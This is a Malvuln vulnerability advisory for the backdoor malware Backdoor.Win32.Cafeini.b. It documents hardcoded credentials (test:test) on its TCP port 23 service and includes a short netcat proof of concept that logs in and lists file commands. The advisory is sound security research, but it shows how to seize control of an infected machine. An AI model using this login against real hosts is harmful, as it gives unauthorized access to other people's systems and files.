Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Cafeini.b Vulnerability: Weak Hardcoded Credentials Description: The malware listens on TCP port 23. Authentication is required, however the credentials test:test are weak and hardcoded within the PE file. Family: Cafeini Type: PE32 MD5: 851f8945d1b5923990f4722d627156a0 Vuln ID: MVID-2022-0568 Disclosure: 04/26/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 23 220 CAFEiNi 1.1 FTP server USER test 331 enter your password (PASS) PASS test 230 you're logged in, have a fun SYST 215 WIN32 L 8 (CAFEiNi 1.1 FTP server) PASV 500 unknown command "pasv" HELP 214-CAFEiNi 1.1 FTP server supported commands: ABOR CDUP CWD DELE HELP LIST MKD MODE NOOP PASS PWD QUIT RETR RMD RNFR RNTO STOR SYST TYPE USER 214 and you don't need more commands, I think Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).